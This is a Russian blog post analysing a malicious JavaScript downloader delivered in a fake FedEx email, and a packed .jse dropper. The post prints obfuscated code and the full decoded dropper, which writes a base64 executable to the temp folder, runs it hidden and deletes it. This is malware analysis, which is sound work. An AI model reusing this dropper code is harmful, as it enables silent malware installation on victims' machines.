Этой зимой я был удивлён письму от компании FedEx (так было написано в отправителях) на своем основном ящике. Я не ждал посылок, поэтому сразу же подумал на спам, но у Google неплохой фильтр, да и этот email не так часто использую для регистрации, поэтому было удивительно, что оно автоматически не попало в корзину.

Содержимое письма было довольно банально - у Вас посылка и вложенный zip-архив. Вот внутренности архива были уже более интересны - файл с именем “FedEx_ID_000482180.doc.js”. Внутри него была мешанина из javascript-функций в большинстве которых к одной какой-то переменной прибавлялись строки разного размера.

Обфусцированный JS-скрипт

В более читабельном виде выглядит так:

var listing = "55555D5E00110F0106051609050A240309050D084A070B09";
function jar_rnd_sid_link() {
  recieve_hold = recieve_hold + ' 1; ';
  third_es();
};
function pid_cn_class_rnd() {
  recieve_hold = recieve_hold + '; va';
  valid_previous_editor_es_form();
};
function sort_xml_uk() {
  recieve_hold = recieve_hold + ' w';
  void_html_type_src();
};
...

Такая простая обфускация легко приводится к читаемому коду (при этом большая часть антивирусов не смогли обнаружить вредоносный функционал):

Malware JS Downloader

По своей сути это простейший downloader, который скачивает в системную папку %TEMP% с трёх разных серверов по 3 файла. На самом сервере они хранятся под видом gif-изображений. По моим предположениям кто-то таким образом продавал загрузки. Так как похожие письма приходили мне с Декабря 2014 по конец Апреля 2015 и в проанализированных мною скриптах он грузил подобие RAT и 2 одинаковых файла (в одном случае FakeAV, в другом троян Cridex). На данный момент письма не приходят.

Запущенный “троян”-блокнот

Данный функционал обеспечивается 3-мя ActiveX:

  • WScript.Shell - запуск файлов
  • MSXML2.XMLHTTP - сеть
  • ADODB.Stream - осуществляет запись бинарного файла

Позже, пытаясь найти схожий код, я обнаружил уже несколько подобных анализов от зарубежных коллег:

В статье на Хабре мой хороший друг рассказывает, как JavaScript помогает при реверсинге. Ребята же по ту сторону баррикад так же начали плотно его использовать. К примеру в этой заметке мы рассмотрели обычный загрузчик exe-файлов, а на одном из форумов я встречал реализацию по копированию переписки пользователей ВК, авторизованных на атакованной машине.

Начать программировать на JavaScript очень просто, что позволило написать этот скрипт, который небольшой по весу (обфусцированный - 22 Kb, оригинал ~1 Kb ) и при этом не требует дополнительных библиотек (к примеру установленного .Net Framework).

P.S. Этот небольшой анализ планировался написаться ещё в декабре-январе…

В продолжении темы - благодаря ребятам из JBFC была найдена реализация jse-скрипта для легитимного! вроде бы софта, который отдавался только браузеру Хром, для других браузеров это был просто exe. Скорее всего для обхода его проверки, так как один из АВеров на VT считает его вредоносным, а кому принадлежит VT мы знаем :)

var x =
"длинная строка бинаря в BASE64";
eval(function(p, a, c, k, e, r) {
e = function(c) {
  return (c < a ? '' : e(parseInt(c / a))) + ((c = c % a) > 35 ? String.fromCharCode(c + 29) : c.toString(36))
};
if (!''.replace(/^/, String)) {
  while (c--) r[e(c)] = k[c] || e(c);
  k = [function(e) {
    return r[e]
  }];
  e = function() {
    return '\\w+'
  };
  c = 1
};
while (c--)
  if (k[c]) p = p.replace(new RegExp('\\b' + e(c) + '\\b', 'g'), k[c]);
return p
}(
'6 k(a){3 b=4 5("B.J");3 c=b.s("t");c.u="v.w";c.z=a;g c.E}6 h(a,b){3 c=1;3 d=4 5("n.o");d.p=c;d.q();d.r(b);d.Q(a)}6 9(a,b){3 c=2;3 d=4 5("f.8");3 e=d.y(c)+"\\\\"+b;h(e,k(a));g e}6 i(a){3 b=4 5("f.8");b.A(a)}3 j=\'C\';D{3 7=9(x,j+"-"+4 F().G().H()+".I");3 l=4 5("K.L");M=l.N(7,0,O);i(7)}P(m){};',
53, 53,
'|||var|new|ActiveXObject|function|fpath|FileSystemObject|writeBase64FileInTemp||||||Scripting|return|writeBytes|deleteFile|fname|decodeBase64|oShell|err|ADODB|Stream|Type|Open|Write|createElement|tmp|dataType|bin|base64||GetSpecialFolder|text|DeleteFile|Microsoft|JSE_install_app|try|nodeTypedValue|Date|getTime|toString|exe|XMLDOM|WScript|Shell|oErrCode|Run|true|catch|SaveToFile'
.split('|'), 0, {}))

Расшифровывается большинством онлайн-декодеров в простейший dropper:

function decodeBase64(a) {
    var b = new ActiveXObject("Microsoft.XMLDOM");
    var c = b.createElement("tmp");
    c.dataType = "bin.base64";
    c.text = a;
    return c.nodeTypedValue
}
function writeBytes(a, b) {
    var c = 1;
    var d = new ActiveXObject("ADODB.Stream");
    d.Type = c;
    d.Open();
    d.Write(b);
    d.SaveToFile(a)
}
function writeBase64FileInTemp(a, b) {
    var c = 2;
    var d = new ActiveXObject("Scripting.FileSystemObject");
    var e = d.GetSpecialFolder(c) + "\\" + b;
    writeBytes(e, decodeBase64(a));
    return e
}
function deleteFile(a) {
    var b = new ActiveXObject("Scripting.FileSystemObject");
    b.DeleteFile(a)
}
var fname = 'JSE_install_app';
try {
    var fpath = writeBase64FileInTemp(x, fname + "-" + new Date().getTime().toString() + ".exe");
    var oShell = new ActiveXObject("WScript.Shell");
    oErrCode = oShell.Run(fpath, 0, true);
    deleteFile(fpath)
} catch(err) {};